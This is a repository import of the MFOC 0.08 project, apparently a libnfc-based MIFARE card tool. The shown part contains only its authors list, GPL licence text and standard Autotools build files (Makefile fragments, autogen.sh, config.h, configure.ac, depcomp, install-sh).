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Import MFOC 0.08 from http://www.nethemba.com/mfoc.tar.bz2 on 13th Sept 2010

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Romuald Conty 2010-09-14 09:34:51 +00:00
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= Nethemba Core Team <mifare@nethemba.com>
Norbert Szetei - main coder
Pavol Luptak - project leader, minor coding, testing and bugreporting
= Contributors
Michal Boska <boska.michal@gmail.com> - porting to libnfc 1.3.3

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GNU GENERAL PUBLIC LICENSE
Version 2, June 1991
Copyright (C) 1989, 1991 Free Software Foundation, Inc.,
51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
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convey the exclusion of warranty; and each file should have at least
the "copyright" line and a pointer to where the full notice is found.
<one line to give the program's name and a brief idea of what it does.>
Copyright (C) <year> <name of author>
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
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Also add information on how to contact you by electronic and paper mail.
If the program is interactive, make it output a short notice like this
when it starts in an interactive mode:
Gnomovision version 69, Copyright (C) year name of author
Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
This is free software, and you are welcome to redistribute it
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The hypothetical commands `show w' and `show c' should show the appropriate
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You should also get your employer (if you work as a programmer) or your
school, if any, to sign a "copyright disclaimer" for the program, if
necessary. Here is a sample; alter the names:
Yoyodyne, Inc., hereby disclaims all copyright interest in the program
`Gnomovision' (which makes passes at compilers) written by James Hacker.
<signature of Ty Coon>, 1 April 1989
Ty Coon, President of Vice
This General Public License does not permit incorporating your program into
proprietary programs. If your program is a subroutine library, you may
consider it more useful to permit linking proprietary applications with the
library. If this is what you want to do, use the GNU Lesser General
Public License instead of this License.

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*.tar.bz2*) \
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*.tar.Z*) \
uncompress -c $(distdir).tar.Z | $(am__untar) ;;\
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GZIP=$(GZIP_ENV) gunzip -c $(distdir).shar.gz | unshar ;;\
*.zip*) \
unzip $(distdir).zip ;;\
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chmod -R a-w $(distdir); chmod a+w $(distdir)
mkdir $(distdir)/_build
mkdir $(distdir)/_inst
chmod a-w $(distdir)
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&& dc_destdir="$${TMPDIR-/tmp}/am-dc-$$$$/" \
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&& ../configure --srcdir=.. --prefix="$$dc_install_base" \
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&& $(MAKE) $(AM_MAKEFLAGS) \
&& $(MAKE) $(AM_MAKEFLAGS) dvi \
&& $(MAKE) $(AM_MAKEFLAGS) check \
&& $(MAKE) $(AM_MAKEFLAGS) install \
&& $(MAKE) $(AM_MAKEFLAGS) installcheck \
&& $(MAKE) $(AM_MAKEFLAGS) uninstall \
&& $(MAKE) $(AM_MAKEFLAGS) distuninstallcheck_dir="$$dc_install_base" \
distuninstallcheck \
&& chmod -R a-w "$$dc_install_base" \
&& ({ \
(cd ../.. && umask 077 && mkdir "$$dc_destdir") \
&& $(MAKE) $(AM_MAKEFLAGS) DESTDIR="$$dc_destdir" install \
&& $(MAKE) $(AM_MAKEFLAGS) DESTDIR="$$dc_destdir" uninstall \
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distuninstallcheck_dir="$$dc_destdir" distuninstallcheck; \
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&& rm -rf "$$dc_destdir" \
&& $(MAKE) $(AM_MAKEFLAGS) dist \
&& rm -rf $(DIST_ARCHIVES) \
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&& test `$(distuninstallcheck_listfiles) | wc -l` -le 1 \
|| { echo "ERROR: files left after uninstall:" ; \
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echo " (check DESTDIR support)"; \
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$(distuninstallcheck_listfiles) ; \
exit 1; } >&2
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echo "ERROR: distcleancheck can only run from a VPATH build" ; \
exit 1 ; \
fi
@test `$(distcleancheck_listfiles) | wc -l` -eq 0 \
|| { echo "ERROR: files left in build directory after distclean:" ; \
$(distcleancheck_listfiles) ; \
exit 1; } >&2
check-am: all-am
check: check-recursive
all-am: Makefile config.h
installdirs: installdirs-recursive
installdirs-am:
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install-exec: install-exec-recursive
install-data: install-data-recursive
uninstall: uninstall-recursive
install-am: all-am
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installcheck: installcheck-recursive
install-strip:
$(MAKE) $(AM_MAKEFLAGS) INSTALL_PROGRAM="$(INSTALL_STRIP_PROGRAM)" \
install_sh_PROGRAM="$(INSTALL_STRIP_PROGRAM)" INSTALL_STRIP_FLAG=-s \
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mostlyclean-generic:
clean-generic:
distclean-generic:
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maintainer-clean-generic:
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clean: clean-recursive
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info-am:
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install-dvi: install-dvi-recursive
install-exec-am:
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install-man install-pdf install-pdf-am install-ps \
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#pkgconfigdir = $(libdir)/pkgconfig
#pkgconfig_DATA = libnfc.pc
# Tell versions [3.59,3.63) of GNU make to not export all variables.
# Otherwise a system limit (for SysV at least) may be exceeded.
.NOEXPORT:

0
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#!/bin/sh
rm -rf autom4te.cache
rm -f aclocal.m4 ltmain.sh
touch README
LIBTOOLIZE=libtoolize
case `uname -s` in
Darwin)
LIBTOOLIZE=glibtoolize
#ACLOCAL_ARGS="-I /opt/local/share/aclocal/"
# SKIP_PCSC="1"
;;
FreeBSD)
ACLOCAL_ARGS="-I /usr/local/share/aclocal/"
;;
esac
ACLOCAL_TITLE=`aclocal --version | head -n 1`
AUTOHEADER_TITLE=`autoheader --version | head -n 1`
AUTOCONF_TITLE=`autoconf --version | head -n 1`
LIBTOOLIZE_TITLE=`$LIBTOOLIZE --version | head -n 1`
AUTOMAKE_TITLE=`automake --version | head -n 1`
echo "Running $ACLOCAL_TITLE..." ; aclocal $ACLOCAL_ARGS || exit 1
echo "Running $AUTOHEADER_TITLE..." ; autoheader || exit 1
echo "Running $AUTOCONF_TITLE..." ; autoconf || exit 1
echo "Running $LIBTOOLIZE_TITLE..." ; $LIBTOOLIZE --copy --automake || exit 1
echo "Running $AUTOMAKE_TITLE..." ; automake --add-missing --copy --gnu || exit 1
if [ -z "$NOCONFIGURE" ]; then
./configure "$@"
fi

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/* config.h. Generated from config.h.in by configure. */
/* config.h.in. Generated from configure.ac by autoheader. */
/* Define to 1 if you have the <inttypes.h> header file. */
#define HAVE_INTTYPES_H 1
/* Define to 1 if you have the <libnfc.h> header file. */
/* #undef HAVE_LIBNFC_H */
/* Define to 1 if your system has a GNU libc compatible `malloc' function, and
to 0 otherwise. */
#define HAVE_MALLOC 1
/* Define to 1 if you have the <memory.h> header file. */
#define HAVE_MEMORY_H 1
/* Define to 1 if you have the <mifaretag.h> header file. */
/* #undef HAVE_MIFARETAG_H */
/* Define to 1 if your system has a GNU libc compatible `realloc' function,
and to 0 otherwise. */
#define HAVE_REALLOC 1
/* Define to 1 if stdbool.h conforms to C99. */
#define HAVE_STDBOOL_H 1
/* Define to 1 if you have the <stdint.h> header file. */
#define HAVE_STDINT_H 1
/* Define to 1 if you have the <stdio.h> header file. */
#define HAVE_STDIO_H 1
/* Define to 1 if you have the <stdlib.h> header file. */
#define HAVE_STDLIB_H 1
/* Define to 1 if you have the <strings.h> header file. */
#define HAVE_STRINGS_H 1
/* Define to 1 if you have the <string.h> header file. */
#define HAVE_STRING_H 1
/* Define to 1 if you have the <sys/stat.h> header file. */
#define HAVE_SYS_STAT_H 1
/* Define to 1 if you have the <sys/types.h> header file. */
#define HAVE_SYS_TYPES_H 1
/* Define to 1 if you have the <unistd.h> header file. */
#define HAVE_UNISTD_H 1
/* Define to 1 if the system has the type `_Bool'. */
#define HAVE__BOOL 1
/* Name of package */
#define PACKAGE "@PACKAGE_NAME@"
/* Define to the address where bug reports for this package should be sent. */
#define PACKAGE_BUGREPORT "mifare@nethemba.com"
/* Define to the full name of this package. */
#define PACKAGE_NAME "mfoc"
/* Define to the full name and version of this package. */
#define PACKAGE_STRING "mfoc 0.04"
/* Define to the one symbol short name of this package. */
#define PACKAGE_TARNAME "mfoc"
/* Define to the version of this package. */
#define PACKAGE_VERSION "0.04"
/* Define to 1 if you have the ANSI C header files. */
#define STDC_HEADERS 1
/* Version number of package */
#define VERSION "@PACKAGE_VERSION@"
/* Define for Solaris 2.5.1 so the uint32_t typedef from <sys/synch.h>,
<pthread.h>, or <semaphore.h> is not used. If the typedef were allowed, the
#define below would cause a syntax error. */
/* #undef _UINT32_T */
/* Define for Solaris 2.5.1 so the uint64_t typedef from <sys/synch.h>,
<pthread.h>, or <semaphore.h> is not used. If the typedef were allowed, the
#define below would cause a syntax error. */
/* #undef _UINT64_T */
/* Define to rpl_malloc if the replacement function should be used. */
/* #undef malloc */
/* Define to rpl_realloc if the replacement function should be used. */
/* #undef realloc */
/* Define to the type of an unsigned integer type of width exactly 32 bits if
such a type exists and the standard includes do not define it. */
/* #undef uint32_t */
/* Define to the type of an unsigned integer type of width exactly 64 bits if
such a type exists and the standard includes do not define it. */
/* #undef uint64_t */

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/* config.h.in. Generated from configure.ac by autoheader. */
/* Define to 1 if you have the <inttypes.h> header file. */
#undef HAVE_INTTYPES_H
/* Define to 1 if you have the <libnfc.h> header file. */
#undef HAVE_LIBNFC_H
/* Define to 1 if your system has a GNU libc compatible `malloc' function, and
to 0 otherwise. */
#undef HAVE_MALLOC
/* Define to 1 if you have the <memory.h> header file. */
#undef HAVE_MEMORY_H
/* Define to 1 if you have the <mifaretag.h> header file. */
#undef HAVE_MIFARETAG_H
/* Define to 1 if your system has a GNU libc compatible `realloc' function,
and to 0 otherwise. */
#undef HAVE_REALLOC
/* Define to 1 if stdbool.h conforms to C99. */
#undef HAVE_STDBOOL_H
/* Define to 1 if you have the <stdint.h> header file. */
#undef HAVE_STDINT_H
/* Define to 1 if you have the <stdio.h> header file. */
#undef HAVE_STDIO_H
/* Define to 1 if you have the <stdlib.h> header file. */
#undef HAVE_STDLIB_H
/* Define to 1 if you have the <strings.h> header file. */
#undef HAVE_STRINGS_H
/* Define to 1 if you have the <string.h> header file. */
#undef HAVE_STRING_H
/* Define to 1 if you have the <sys/stat.h> header file. */
#undef HAVE_SYS_STAT_H
/* Define to 1 if you have the <sys/types.h> header file. */
#undef HAVE_SYS_TYPES_H
/* Define to 1 if you have the <unistd.h> header file. */
#undef HAVE_UNISTD_H
/* Define to 1 if the system has the type `_Bool'. */
#undef HAVE__BOOL
/* Name of package */
#undef PACKAGE
/* Define to the address where bug reports for this package should be sent. */
#undef PACKAGE_BUGREPORT
/* Define to the full name of this package. */
#undef PACKAGE_NAME
/* Define to the full name and version of this package. */
#undef PACKAGE_STRING
/* Define to the one symbol short name of this package. */
#undef PACKAGE_TARNAME
/* Define to the version of this package. */
#undef PACKAGE_VERSION
/* Define to 1 if you have the ANSI C header files. */
#undef STDC_HEADERS
/* Version number of package */
#undef VERSION
/* Define for Solaris 2.5.1 so the uint32_t typedef from <sys/synch.h>,
<pthread.h>, or <semaphore.h> is not used. If the typedef were allowed, the
#define below would cause a syntax error. */
#undef _UINT32_T
/* Define for Solaris 2.5.1 so the uint64_t typedef from <sys/synch.h>,
<pthread.h>, or <semaphore.h> is not used. If the typedef were allowed, the
#define below would cause a syntax error. */
#undef _UINT64_T
/* Define to rpl_malloc if the replacement function should be used. */
#undef malloc
/* Define to rpl_realloc if the replacement function should be used. */
#undef realloc
/* Define to the type of an unsigned integer type of width exactly 32 bits if
such a type exists and the standard includes do not define it. */
#undef uint32_t
/* Define to the type of an unsigned integer type of width exactly 64 bits if
such a type exists and the standard includes do not define it. */
#undef uint64_t

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# -*- Autoconf -*-
# Process this file with autoconf to produce a configure script.
AC_PREREQ([2.61])
AC_INIT([mfoc], [0.08], [mifare@nethemba.com])
AM_INIT_AUTOMAKE(@PACKAGE_NAME@, @PACKAGE_VERSION@)
AC_CONFIG_SRCDIR([src/mfoc.c])
AC_CONFIG_HEADERS([config.h])
# Checks for NFC libraries.
NFC_DIR="/usr/local/"
AC_ARG_WITH(libnfc,[ --with-libnfc=DIR location of the libnfc],
[if test "$withval" != no; then
if test "$withval" != yes; then
NFC_DIR=$withval
fi
fi])
CFLAGS="$CFLAGS -L$NFC_DIR/lib/ -I$NFC_DIR/include/libnfc/"
# Checks for programs.
AC_PROG_CC
# Checks for header files.
echo $NFC_DIR
AC_CHECK_HEADERS([stdio.h stdlib.h string.h $NFC_DIR/include/libnfc/libnfc.h $NFC_DIR/include/libnfc/defines.h unistd.h],[], [ echo "Error! You need to have libnfc >= 1.2.1."; exit -1; ])
# Checks for libraries
#AC_CHECK_LIB(nfc,nfc_configure, [], [ echo "Error! You need to have liblibnfc >= 1.2.1."; exit -1; ])
# Checks for typedefs, structures, and compiler characteristics.
AC_HEADER_STDBOOL
AC_TYPE_UINT32_T
AC_TYPE_UINT64_T
# Checks for library functions.
AC_FUNC_MALLOC
AC_FUNC_REALLOC
#PKG_CHECK_MODULES(LIBNFC, libnfc, [WITH_LIBNFC="1"], [WITH_LIBNFC="0"])
#if test "$WITH_LIBNFC" = "0"; then
# AC_MSG_ERROR([libnfc is mandatory.])
#fi
AC_CONFIG_FILES([Makefile
src/Makefile])
AC_OUTPUT

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#! /bin/sh
# depcomp - compile a program generating dependencies as side-effects
scriptversion=2007-03-29.01
# Copyright (C) 1999, 2000, 2003, 2004, 2005, 2006, 2007 Free Software
# Foundation, Inc.
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation; either version 2, or (at your option)
# any later version.
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA
# 02110-1301, USA.
# As a special exception to the GNU General Public License, if you
# distribute this file as part of a program that contains a
# configuration script generated by Autoconf, you may include it under
# the same distribution terms that you use for the rest of that program.
# Originally written by Alexandre Oliva <oliva@dcc.unicamp.br>.
case $1 in
'')
echo "$0: No command. Try \`$0 --help' for more information." 1>&2
exit 1;
;;
-h | --h*)
cat <<\EOF
Usage: depcomp [--help] [--version] PROGRAM [ARGS]
Run PROGRAMS ARGS to compile a file, generating dependencies
as side-effects.
Environment variables:
depmode Dependency tracking mode.
source Source file read by `PROGRAMS ARGS'.
object Object file output by `PROGRAMS ARGS'.
DEPDIR directory where to store dependencies.
depfile Dependency file to output.
tmpdepfile Temporary file to use when outputing dependencies.
libtool Whether libtool is used (yes/no).
Report bugs to <bug-automake@gnu.org>.
EOF
exit $?
;;
-v | --v*)
echo "depcomp $scriptversion"
exit $?
;;
esac
if test -z "$depmode" || test -z "$source" || test -z "$object"; then
echo "depcomp: Variables source, object and depmode must be set" 1>&2
exit 1
fi
# Dependencies for sub/bar.o or sub/bar.obj go into sub/.deps/bar.Po.
depfile=${depfile-`echo "$object" |
sed 's|[^\\/]*$|'${DEPDIR-.deps}'/&|;s|\.\([^.]*\)$|.P\1|;s|Pobj$|Po|'`}
tmpdepfile=${tmpdepfile-`echo "$depfile" | sed 's/\.\([^.]*\)$/.T\1/'`}
rm -f "$tmpdepfile"
# Some modes work just like other modes, but use different flags. We
# parameterize here, but still list the modes in the big case below,
# to make depend.m4 easier to write. Note that we *cannot* use a case
# here, because this file can only contain one case statement.
if test "$depmode" = hp; then
# HP compiler uses -M and no extra arg.
gccflag=-M
depmode=gcc
fi
if test "$depmode" = dashXmstdout; then
# This is just like dashmstdout with a different argument.
dashmflag=-xM
depmode=dashmstdout
fi
case "$depmode" in
gcc3)
## gcc 3 implements dependency tracking that does exactly what
## we want. Yay! Note: for some reason libtool 1.4 doesn't like
## it if -MD -MP comes after the -MF stuff. Hmm.
## Unfortunately, FreeBSD c89 acceptance of flags depends upon
## the command line argument order; so add the flags where they
## appear in depend2.am. Note that the slowdown incurred here
## affects only configure: in makefiles, %FASTDEP% shortcuts this.
for arg
do
case $arg in
-c) set fnord "$@" -MT "$object" -MD -MP -MF "$tmpdepfile" "$arg" ;;
*) set fnord "$@" "$arg" ;;
esac
shift # fnord
shift # $arg
done
"$@"
stat=$?
if test $stat -eq 0; then :
else
rm -f "$tmpdepfile"
exit $stat
fi
mv "$tmpdepfile" "$depfile"
;;
gcc)
## There are various ways to get dependency output from gcc. Here's
## why we pick this rather obscure method:
## - Don't want to use -MD because we'd like the dependencies to end
## up in a subdir. Having to rename by hand is ugly.
## (We might end up doing this anyway to support other compilers.)
## - The DEPENDENCIES_OUTPUT environment variable makes gcc act like
## -MM, not -M (despite what the docs say).
## - Using -M directly means running the compiler twice (even worse
## than renaming).
if test -z "$gccflag"; then
gccflag=-MD,
fi
"$@" -Wp,"$gccflag$tmpdepfile"
stat=$?
if test $stat -eq 0; then :
else
rm -f "$tmpdepfile"
exit $stat
fi
rm -f "$depfile"
echo "$object : \\" > "$depfile"
alpha=ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz
## The second -e expression handles DOS-style file names with drive letters.
sed -e 's/^[^:]*: / /' \
-e 's/^['$alpha']:\/[^:]*: / /' < "$tmpdepfile" >> "$depfile"
## This next piece of magic avoids the `deleted header file' problem.
## The problem is that when a header file which appears in a .P file
## is deleted, the dependency causes make to die (because there is
## typically no way to rebuild the header). We avoid this by adding
## dummy dependencies for each header file. Too bad gcc doesn't do
## this for us directly.
tr ' ' '
' < "$tmpdepfile" |
## Some versions of gcc put a space before the `:'. On the theory
## that the space means something, we add a space to the output as
## well.
## Some versions of the HPUX 10.20 sed can't process this invocation
## correctly. Breaking it into two sed invocations is a workaround.
sed -e 's/^\\$//' -e '/^$/d' -e '/:$/d' | sed -e 's/$/ :/' >> "$depfile"
rm -f "$tmpdepfile"
;;
hp)
# This case exists only to let depend.m4 do its work. It works by
# looking at the text of this script. This case will never be run,
# since it is checked for above.
exit 1
;;
sgi)
if test "$libtool" = yes; then
"$@" "-Wp,-MDupdate,$tmpdepfile"
else
"$@" -MDupdate "$tmpdepfile"
fi
stat=$?
if test $stat -eq 0; then :
else
rm -f "$tmpdepfile"
exit $stat
fi
rm -f "$depfile"
if test -f "$tmpdepfile"; then # yes, the sourcefile depend on other files
echo "$object : \\" > "$depfile"
# Clip off the initial element (the dependent). Don't try to be
# clever and replace this with sed code, as IRIX sed won't handle
# lines with more than a fixed number of characters (4096 in
# IRIX 6.2 sed, 8192 in IRIX 6.5). We also remove comment lines;
# the IRIX cc adds comments like `#:fec' to the end of the
# dependency line.
tr ' ' '
' < "$tmpdepfile" \
| sed -e 's/^.*\.o://' -e 's/#.*$//' -e '/^$/ d' | \
tr '
' ' ' >> $depfile
echo >> $depfile
# The second pass generates a dummy entry for each header file.
tr ' ' '
' < "$tmpdepfile" \
| sed -e 's/^.*\.o://' -e 's/#.*$//' -e '/^$/ d' -e 's/$/:/' \
>> $depfile
else
# The sourcefile does not contain any dependencies, so just
# store a dummy comment line, to avoid errors with the Makefile
# "include basename.Plo" scheme.
echo "#dummy" > "$depfile"
fi
rm -f "$tmpdepfile"
;;
aix)
# The C for AIX Compiler uses -M and outputs the dependencies
# in a .u file. In older versions, this file always lives in the
# current directory. Also, the AIX compiler puts `$object:' at the
# start of each line; $object doesn't have directory information.
# Version 6 uses the directory in both cases.
dir=`echo "$object" | sed -e 's|/[^/]*$|/|'`
test "x$dir" = "x$object" && dir=
base=`echo "$object" | sed -e 's|^.*/||' -e 's/\.o$//' -e 's/\.lo$//'`
if test "$libtool" = yes; then
tmpdepfile1=$dir$base.u
tmpdepfile2=$base.u
tmpdepfile3=$dir.libs/$base.u
"$@" -Wc,-M
else
tmpdepfile1=$dir$base.u
tmpdepfile2=$dir$base.u
tmpdepfile3=$dir$base.u
"$@" -M
fi
stat=$?
if test $stat -eq 0; then :
else
rm -f "$tmpdepfile1" "$tmpdepfile2" "$tmpdepfile3"
exit $stat
fi
for tmpdepfile in "$tmpdepfile1" "$tmpdepfile2" "$tmpdepfile3"
do
test -f "$tmpdepfile" && break
done
if test -f "$tmpdepfile"; then
# Each line is of the form `foo.o: dependent.h'.
# Do two passes, one to just change these to
# `$object: dependent.h' and one to simply `dependent.h:'.
sed -e "s,^.*\.[a-z]*:,$object:," < "$tmpdepfile" > "$depfile"
# That's a tab and a space in the [].
sed -e 's,^.*\.[a-z]*:[ ]*,,' -e 's,$,:,' < "$tmpdepfile" >> "$depfile"
else
# The sourcefile does not contain any dependencies, so just
# store a dummy comment line, to avoid errors with the Makefile
# "include basename.Plo" scheme.
echo "#dummy" > "$depfile"
fi
rm -f "$tmpdepfile"
;;
icc)
# Intel's C compiler understands `-MD -MF file'. However on
# icc -MD -MF foo.d -c -o sub/foo.o sub/foo.c
# ICC 7.0 will fill foo.d with something like
# foo.o: sub/foo.c
# foo.o: sub/foo.h
# which is wrong. We want:
# sub/foo.o: sub/foo.c
# sub/foo.o: sub/foo.h
# sub/foo.c:
# sub/foo.h:
# ICC 7.1 will output
# foo.o: sub/foo.c sub/foo.h
# and will wrap long lines using \ :
# foo.o: sub/foo.c ... \
# sub/foo.h ... \
# ...
"$@" -MD -MF "$tmpdepfile"
stat=$?
if test $stat -eq 0; then :
else
rm -f "$tmpdepfile"
exit $stat
fi
rm -f "$depfile"
# Each line is of the form `foo.o: dependent.h',
# or `foo.o: dep1.h dep2.h \', or ` dep3.h dep4.h \'.
# Do two passes, one to just change these to
# `$object: dependent.h' and one to simply `dependent.h:'.
sed "s,^[^:]*:,$object :," < "$tmpdepfile" > "$depfile"
# Some versions of the HPUX 10.20 sed can't process this invocation
# correctly. Breaking it into two sed invocations is a workaround.
sed 's,^[^:]*: \(.*\)$,\1,;s/^\\$//;/^$/d;/:$/d' < "$tmpdepfile" |
sed -e 's/$/ :/' >> "$depfile"
rm -f "$tmpdepfile"
;;
hp2)
# The "hp" stanza above does not work with aCC (C++) and HP's ia64
# compilers, which have integrated preprocessors. The correct option
# to use with these is +Maked; it writes dependencies to a file named
# 'foo.d', which lands next to the object file, wherever that
# happens to be.
# Much of this is similar to the tru64 case; see comments there.
dir=`echo "$object" | sed -e 's|/[^/]*$|/|'`
test "x$dir" = "x$object" && dir=
base=`echo "$object" | sed -e 's|^.*/||' -e 's/\.o$//' -e 's/\.lo$//'`
if test "$libtool" = yes; then
tmpdepfile1=$dir$base.d
tmpdepfile2=$dir.libs/$base.d
"$@" -Wc,+Maked
else
tmpdepfile1=$dir$base.d
tmpdepfile2=$dir$base.d
"$@" +Maked
fi
stat=$?
if test $stat -eq 0; then :
else
rm -f "$tmpdepfile1" "$tmpdepfile2"
exit $stat
fi
for tmpdepfile in "$tmpdepfile1" "$tmpdepfile2"
do
test -f "$tmpdepfile" && break
done
if test -f "$tmpdepfile"; then
sed -e "s,^.*\.[a-z]*:,$object:," "$tmpdepfile" > "$depfile"
# Add `dependent.h:' lines.
sed -ne '2,${; s/^ *//; s/ \\*$//; s/$/:/; p;}' "$tmpdepfile" >> "$depfile"
else
echo "#dummy" > "$depfile"
fi
rm -f "$tmpdepfile" "$tmpdepfile2"
;;
tru64)
# The Tru64 compiler uses -MD to generate dependencies as a side
# effect. `cc -MD -o foo.o ...' puts the dependencies into `foo.o.d'.
# At least on Alpha/Redhat 6.1, Compaq CCC V6.2-504 seems to put
# dependencies in `foo.d' instead, so we check for that too.
# Subdirectories are respected.
dir=`echo "$object" | sed -e 's|/[^/]*$|/|'`
test "x$dir" = "x$object" && dir=
base=`echo "$object" | sed -e 's|^.*/||' -e 's/\.o$//' -e 's/\.lo$//'`
if test "$libtool" = yes; then
# With Tru64 cc, shared objects can also be used to make a
# static library. This mechanism is used in libtool 1.4 series to
# handle both shared and static libraries in a single compilation.
# With libtool 1.4, dependencies were output in $dir.libs/$base.lo.d.
#
# With libtool 1.5 this exception was removed, and libtool now
# generates 2 separate objects for the 2 libraries. These two
# compilations output dependencies in $dir.libs/$base.o.d and
# in $dir$base.o.d. We have to check for both files, because
# one of the two compilations can be disabled. We should prefer
# $dir$base.o.d over $dir.libs/$base.o.d because the latter is
# automatically cleaned when .libs/ is deleted, while ignoring
# the former would cause a distcleancheck panic.
tmpdepfile1=$dir.libs/$base.lo.d # libtool 1.4
tmpdepfile2=$dir$base.o.d # libtool 1.5
tmpdepfile3=$dir.libs/$base.o.d # libtool 1.5
tmpdepfile4=$dir.libs/$base.d # Compaq CCC V6.2-504
"$@" -Wc,-MD
else
tmpdepfile1=$dir$base.o.d
tmpdepfile2=$dir$base.d
tmpdepfile3=$dir$base.d
tmpdepfile4=$dir$base.d
"$@" -MD
fi
stat=$?
if test $stat -eq 0; then :
else
rm -f "$tmpdepfile1" "$tmpdepfile2" "$tmpdepfile3" "$tmpdepfile4"
exit $stat
fi
for tmpdepfile in "$tmpdepfile1" "$tmpdepfile2" "$tmpdepfile3" "$tmpdepfile4"
do
test -f "$tmpdepfile" && break
done
if test -f "$tmpdepfile"; then
sed -e "s,^.*\.[a-z]*:,$object:," < "$tmpdepfile" > "$depfile"
# That's a tab and a space in the [].
sed -e 's,^.*\.[a-z]*:[ ]*,,' -e 's,$,:,' < "$tmpdepfile" >> "$depfile"
else
echo "#dummy" > "$depfile"
fi
rm -f "$tmpdepfile"
;;
#nosideeffect)
# This comment above is used by automake to tell side-effect
# dependency tracking mechanisms from slower ones.
dashmstdout)
# Important note: in order to support this mode, a compiler *must*
# always write the preprocessed file to stdout, regardless of -o.
"$@" || exit $?
# Remove the call to Libtool.
if test "$libtool" = yes; then
while test $1 != '--mode=compile'; do
shift
done
shift
fi
# Remove `-o $object'.
IFS=" "
for arg
do
case $arg in
-o)
shift
;;
$object)
shift
;;
*)
set fnord "$@" "$arg"
shift # fnord
shift # $arg
;;
esac
done
test -z "$dashmflag" && dashmflag=-M
# Require at least two characters before searching for `:'
# in the target name. This is to cope with DOS-style filenames:
# a dependency such as `c:/foo/bar' could be seen as target `c' otherwise.
"$@" $dashmflag |
sed 's:^[ ]*[^: ][^:][^:]*\:[ ]*:'"$object"'\: :' > "$tmpdepfile"
rm -f "$depfile"
cat < "$tmpdepfile" > "$depfile"
tr ' ' '
' < "$tmpdepfile" | \
## Some versions of the HPUX 10.20 sed can't process this invocation
## correctly. Breaking it into two sed invocations is a workaround.
sed -e 's/^\\$//' -e '/^$/d' -e '/:$/d' | sed -e 's/$/ :/' >> "$depfile"
rm -f "$tmpdepfile"
;;
dashXmstdout)
# This case only exists to satisfy depend.m4. It is never actually
# run, as this mode is specially recognized in the preamble.
exit 1
;;
makedepend)
"$@" || exit $?
# Remove any Libtool call
if test "$libtool" = yes; then
while test $1 != '--mode=compile'; do
shift
done
shift
fi
# X makedepend
shift
cleared=no
for arg in "$@"; do
case $cleared in
no)
set ""; shift
cleared=yes ;;
esac
case "$arg" in
-D*|-I*)
set fnord "$@" "$arg"; shift ;;
# Strip any option that makedepend may not understand. Remove
# the object too, otherwise makedepend will parse it as a source file.
-*|$object)
;;
*)
set fnord "$@" "$arg"; shift ;;
esac
done
obj_suffix="`echo $object | sed 's/^.*\././'`"
touch "$tmpdepfile"
${MAKEDEPEND-makedepend} -o"$obj_suffix" -f"$tmpdepfile" "$@"
rm -f "$depfile"
cat < "$tmpdepfile" > "$depfile"
sed '1,2d' "$tmpdepfile" | tr ' ' '
' | \
## Some versions of the HPUX 10.20 sed can't process this invocation
## correctly. Breaking it into two sed invocations is a workaround.
sed -e 's/^\\$//' -e '/^$/d' -e '/:$/d' | sed -e 's/$/ :/' >> "$depfile"
rm -f "$tmpdepfile" "$tmpdepfile".bak
;;
cpp)
# Important note: in order to support this mode, a compiler *must*
# always write the preprocessed file to stdout.
"$@" || exit $?
# Remove the call to Libtool.
if test "$libtool" = yes; then
while test $1 != '--mode=compile'; do
shift
done
shift
fi
# Remove `-o $object'.
IFS=" "
for arg
do
case $arg in
-o)
shift
;;
$object)
shift
;;
*)
set fnord "$@" "$arg"
shift # fnord
shift # $arg
;;
esac
done
"$@" -E |
sed -n -e '/^# [0-9][0-9]* "\([^"]*\)".*/ s:: \1 \\:p' \
-e '/^#line [0-9][0-9]* "\([^"]*\)".*/ s:: \1 \\:p' |
sed '$ s: \\$::' > "$tmpdepfile"
rm -f "$depfile"
echo "$object : \\" > "$depfile"
cat < "$tmpdepfile" >> "$depfile"
sed < "$tmpdepfile" '/^$/d;s/^ //;s/ \\$//;s/$/ :/' >> "$depfile"
rm -f "$tmpdepfile"
;;
msvisualcpp)
# Important note: in order to support this mode, a compiler *must*
# always write the preprocessed file to stdout, regardless of -o,
# because we must use -o when running libtool.
"$@" || exit $?
IFS=" "
for arg
do
case "$arg" in
"-Gm"|"/Gm"|"-Gi"|"/Gi"|"-ZI"|"/ZI")
set fnord "$@"
shift
shift
;;
*)
set fnord "$@" "$arg"
shift
shift
;;
esac
done
"$@" -E |
sed -n '/^#line [0-9][0-9]* "\([^"]*\)"/ s::echo "`cygpath -u \\"\1\\"`":p' | sort | uniq > "$tmpdepfile"
rm -f "$depfile"
echo "$object : \\" > "$depfile"
. "$tmpdepfile" | sed 's% %\\ %g' | sed -n '/^\(.*\)$/ s:: \1 \\:p' >> "$depfile"
echo " " >> "$depfile"
. "$tmpdepfile" | sed 's% %\\ %g' | sed -n '/^\(.*\)$/ s::\1\::p' >> "$depfile"
rm -f "$tmpdepfile"
;;
none)
exec "$@"
;;
*)
echo "Unknown depmode $depmode" 1>&2
exit 1
;;
esac
exit 0
# Local Variables:
# mode: shell-script
# sh-indentation: 2
# eval: (add-hook 'write-file-hooks 'time-stamp)
# time-stamp-start: "scriptversion="
# time-stamp-format: "%:y-%02m-%02d.%02H"
# time-stamp-end: "$"
# End:

519
install-sh Normal file
View file

@ -0,0 +1,519 @@
#!/bin/sh
# install - install a program, script, or datafile
scriptversion=2006-12-25.00
# This originates from X11R5 (mit/util/scripts/install.sh), which was
# later released in X11R6 (xc/config/util/install.sh) with the
# following copyright and license.
#
# Copyright (C) 1994 X Consortium
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to
# deal in the Software without restriction, including without limitation the
# rights to use, copy, modify, merge, publish, distribute, sublicense, and/or
# sell copies of the Software, and to permit persons to whom the Software is
# furnished to do so, subject to the following conditions:
#
# The above copyright notice and this permission notice shall be included in
# all copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
